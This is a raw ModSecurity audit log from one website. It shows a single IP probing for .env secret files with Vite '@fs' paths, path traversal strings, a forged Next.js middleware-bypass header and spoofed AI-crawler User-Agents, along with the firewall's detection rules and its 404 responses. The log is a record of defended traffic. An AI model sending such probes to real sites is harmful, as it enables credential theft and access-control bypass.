Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/@fs/src/.env"] [unique_id "aqaAzWM7dE9KgIIOpQh6SwAAANQ"]
Stopwatch: 1789296845495831 7540 (- - -)
Stopwatch2: 1789296845495831 7540; combined=5988, p1=1879, p2=3986, p3=74, p4=7, p5=42, sr=1682, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--937c2a41-Z--

--2936cf5d-A--
[13/Sep/2026:13:54:05.544663 +0300] aqaAzSsVWymXUono-eRWMQAAABY 35.236.177.61 59058 127.0.0.1 7081
--2936cf5d-B--
GET /@fs/app/.env.local?import&raw?? HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: CCBot/2.0 (https://commoncrawl.org/faq/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--2936cf5d-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--2936cf5d-E--

--2936cf5d-H--
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/@fs/app/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/@fs/app/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/@fs/app/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "behappydigital.com"] [uri "/@fs/app/.env.local"] [unique_id "aqaAzSsVWymXUono-eRWMQAAABY"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/@fs/app/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/@fs/app/.env.local"] [unique_id "aqaAzSsVWymXUono-eRWMQAAABY"]
Stopwatch: 1789296845510973 33763 (- - -)
Stopwatch2: 1789296845510973 33763; combined=31920, p1=299, p2=31463, p3=81, p4=9, p5=67, sr=133, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--2936cf5d-Z--

--d63b6947-A--
[13/Sep/2026:13:54:05.645066 +0300] aqaAzWM7dE9KgIIOpQh6TAAAAM4 35.236.177.61 33736 127.0.0.1 7081
--d63b6947-B--
GET /@fs/../.env?import&raw?? HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; cohere-ai; +https://cohere.com/crawler)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--d63b6947-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--d63b6947-E--

--d63b6947-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/.env"] [unique_id "aqaAzWM7dE9KgIIOpQh6TAAAAM4"]
Stopwatch: 1789296845639221 5910 (- - -)
Stopwatch2: 1789296845639221 5910; combined=4097, p1=278, p2=3592, p3=162, p4=7, p5=58, sr=114, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--d63b6947-Z--

--7a3bb027-A--
[13/Sep/2026:13:54:05.686318 +0300] aqaAzWM7dE9KgIIOpQh6TQAAAMU 35.236.177.61 33746 127.0.0.1 7081
--7a3bb027-B--
GET /.env?.svg?.wasm?init HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexitybot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--7a3bb027-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--7a3bb027-E--

--7a3bb027-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:.svg?.wasm?init"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:.svg?.wasm?init"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/.env"] [unique_id "aqaAzWM7dE9KgIIOpQh6TQAAAMU"]
Stopwatch: 1789296845680429 5946 (- - -)
Stopwatch2: 1789296845680429 5946; combined=4264, p1=349, p2=3785, p3=78, p4=8, p5=43, sr=185, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--7a3bb027-Z--

--4aa69416-A--
[13/Sep/2026:13:54:05.765000 +0300] aqaAzWM7dE9KgIIOpQh6TgAAAMg 35.236.177.61 33752 127.0.0.1 7081
--4aa69416-B--
GET /@fs/app/.env?import&raw?? HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; xAI-Grok/1.0; +https://x.ai/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--4aa69416-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--4aa69416-E--

--4aa69416-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/@fs/app/.env"] [unique_id "aqaAzWM7dE9KgIIOpQh6TgAAAMg"]
Stopwatch: 1789296845758564 6504 (- - -)
Stopwatch2: 1789296845758564 6504; combined=4689, p1=301, p2=4186, p3=138, p4=11, p5=53, sr=122, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--4aa69416-Z--

--dbc63617-A--
[13/Sep/2026:13:54:05.775101 +0300] aqaAzWM7dE9KgIIOpQh6TwAAAMg 35.236.177.61 33760 127.0.0.1 7081
--dbc63617-B--
GET /public../.env HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Qwenbot/1.0; +https://qwen.alibaba.com/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--dbc63617-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--dbc63617-E--

--dbc63617-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/public../.env"] [unique_id "aqaAzWM7dE9KgIIOpQh6TwAAAMg"]
Stopwatch: 1789296845768123 7070 (- - -)
Stopwatch2: 1789296845768123 7070; combined=5234, p1=293, p2=4820, p3=63, p4=9, p5=48, sr=121, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--dbc63617-Z--

--01718145-A--
[13/Sep/2026:13:54:05.792695 +0300] aqaAzWM7dE9KgIIOpQh6UQAAAME 35.236.177.61 33778 127.0.0.1 7081
--01718145-B--
GET /dist../.env HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; OAI-SearchBot/1.0; +https://openai.com/searchbot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--01718145-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--01718145-E--

--01718145-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/dist../.env"] [unique_id "aqaAzWM7dE9KgIIOpQh6UQAAAME"]
Stopwatch: 1789296845785786 6975 (- - -)
Stopwatch2: 1789296845785786 6975; combined=4737, p1=292, p2=4167, p3=172, p4=14, p5=92, sr=125, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--01718145-Z--

--a8cde618-A--
[13/Sep/2026:13:54:05.808538 +0300] aqaAzWM7dE9KgIIOpQh6UAAAAM0 35.236.177.61 33774 127.0.0.1 7081
--a8cde618-B--
GET /.env.local?.svg?.wasm?init HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--a8cde618-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--a8cde618-E--

--a8cde618-H--
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "behappydigital.com"] [uri "/.env.local"] [unique_id "aqaAzWM7dE9KgIIOpQh6UAAAAM0"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/.env.local"] [unique_id "aqaAzWM7dE9KgIIOpQh6UAAAAM0"]
Stopwatch: 1789296845772772 35894 (- - -)
Stopwatch2: 1789296845772772 35894; combined=34183, p1=263, p2=33776, p3=90, p4=9, p5=45, sr=117, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--a8cde618-Z--

--98e5661f-A--
[13/Sep/2026:13:54:05.922746 +0300] aqaAzUwu1RSkptiiNIX7gAAAAJQ 35.236.177.61 33788 127.0.0.1 7081
--98e5661f-B--
GET /build../.env HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--98e5661f-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--98e5661f-E--

--98e5661f-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/build../.env"] [unique_id "aqaAzUwu1RSkptiiNIX7gAAAAJQ"]
Stopwatch: 1789296845897126 25720 (- - -)
Stopwatch2: 1789296845897126 25720; combined=22248, p1=555, p2=21547, p3=70, p4=9, p5=66, sr=216, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--98e5661f-Z--

--7e34cb67-A--
[13/Sep/2026:13:54:05.936274 +0300] aqaAzWM7dE9KgIIOpQh6UgAAAMM 35.236.177.61 33802 127.0.0.1 7081
--7e34cb67-B--
GET /js../.env HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; MistralAI-User/1.0; +https://mistral.ai/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--7e34cb67-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--7e34cb67-E--

--7e34cb67-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/js../.env"] [unique_id "aqaAzWM7dE9KgIIOpQh6UgAAAMM"]
Stopwatch: 1789296845928232 8113 (- - -)
Stopwatch2: 1789296845928232 8113; combined=5245, p1=911, p2=4218, p3=67, p4=7, p5=42, sr=739, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--7e34cb67-Z--

--d168d81b-A--
[13/Sep/2026:13:54:05.997740 +0300] aqaAzUwu1RSkptiiNIX7gQAAAJU 35.236.177.61 33818 127.0.0.1 7081
--d168d81b-B--
GET /css../.env HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; MistralAI-User/1.0; +https://mistral.ai/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--d168d81b-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--d168d81b-E--

--d168d81b-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/css../.env"] [unique_id "aqaAzUwu1RSkptiiNIX7gQAAAJU"]
Stopwatch: 1789296845991926 5868 (- - -)
Stopwatch2: 1789296845991926 5868; combined=4314, p1=252, p2=3944, p3=70, p4=8, p5=40, sr=109, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--d168d81b-Z--

--6dbc7871-A--
[13/Sep/2026:13:54:06.178784 +0300] aqaAzmM7dE9KgIIOpQh6VAAAAM8 35.236.177.61 33844 127.0.0.1 7081
--6dbc7871-B--
GET /userfiles?path=../../../.env HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--6dbc7871-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--6dbc7871-E--

--6dbc7871-H--
Message: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\s+(?:\\w{3,7}?://[\\w\\-\\./]*(?::\\d+)?)?/[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?|connect (?:\\d{1,3}\\.){3}\\d{1,3}\\.?(?::\\d+)?|options \\*)\\s+[\\w\\./]+|get /[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:../.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\\\\\\\s+(?:\\\\\\\\w{3,7}?://[\\\\\\\\w\\\\\\\\-\\\\\\\\./]*(?::\\\\\\\\d+)?)?/[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?|connect (?:\\\\\\\\d{1,3}\\\\\\\\.){3}\\\\\\\\d{1,3}\\\\\\\\.?(?::\\\\\\\\d+)?|options \\\\\\\\*)\\\\\\\\s+[\\\\\\\\w\\\\\\\\./]+|get /[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:../.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"] [hostname "behappydigital.com"] [uri "/userfiles"] [unique_id "aqaAzmM7dE9KgIIOpQh6VAAAAM8"]
Stopwatch: 1789296846172452 6380 (- - -)
Stopwatch2: 1789296846172452 6380; combined=4835, p1=286, p2=4425, p3=75, p4=6, p5=43, sr=115, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--6dbc7871-Z--

--9ac7095e-A--
[13/Sep/2026:13:54:06.195206 +0300] aqaAzkwu1RSkptiiNIX7ggAAAI0 35.236.177.61 33860 127.0.0.1 7081
--9ac7095e-B--
GET /userfiles?path=../../.env HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; xAI-Grok/1.0; +https://x.ai/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--9ac7095e-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--9ac7095e-E--

--9ac7095e-H--
Message: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\s+(?:\\w{3,7}?://[\\w\\-\\./]*(?::\\d+)?)?/[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?|connect (?:\\d{1,3}\\.){3}\\d{1,3}\\.?(?::\\d+)?|options \\*)\\s+[\\w\\./]+|get /[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\\\\\\\s+(?:\\\\\\\\w{3,7}?://[\\\\\\\\w\\\\\\\\-\\\\\\\\./]*(?::\\\\\\\\d+)?)?/[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?|connect (?:\\\\\\\\d{1,3}\\\\\\\\.){3}\\\\\\\\d{1,3}\\\\\\\\.?(?::\\\\\\\\d+)?|options \\\\\\\\*)\\\\\\\\s+[\\\\\\\\w\\\\\\\\./]+|get /[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"] [hostname "behappydigital.com"] [uri "/userfiles"] [unique_id "aqaAzkwu1RSkptiiNIX7ggAAAI0"]
Stopwatch: 1789296846188769 6497 (- - -)
Stopwatch2: 1789296846188769 6497; combined=4936, p1=290, p2=4526, p3=69, p4=7, p5=44, sr=131, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--9ac7095e-Z--

--9c9e497e-A--
[13/Sep/2026:13:54:06.247597 +0300] aqaAzmM7dE9KgIIOpQh6VQAAAMA 35.236.177.61 33862 127.0.0.1 7081
--9c9e497e-B--
GET /userfiles?path=../../../../.env HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--9c9e497e-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--9c9e497e-E--

--9c9e497e-H--
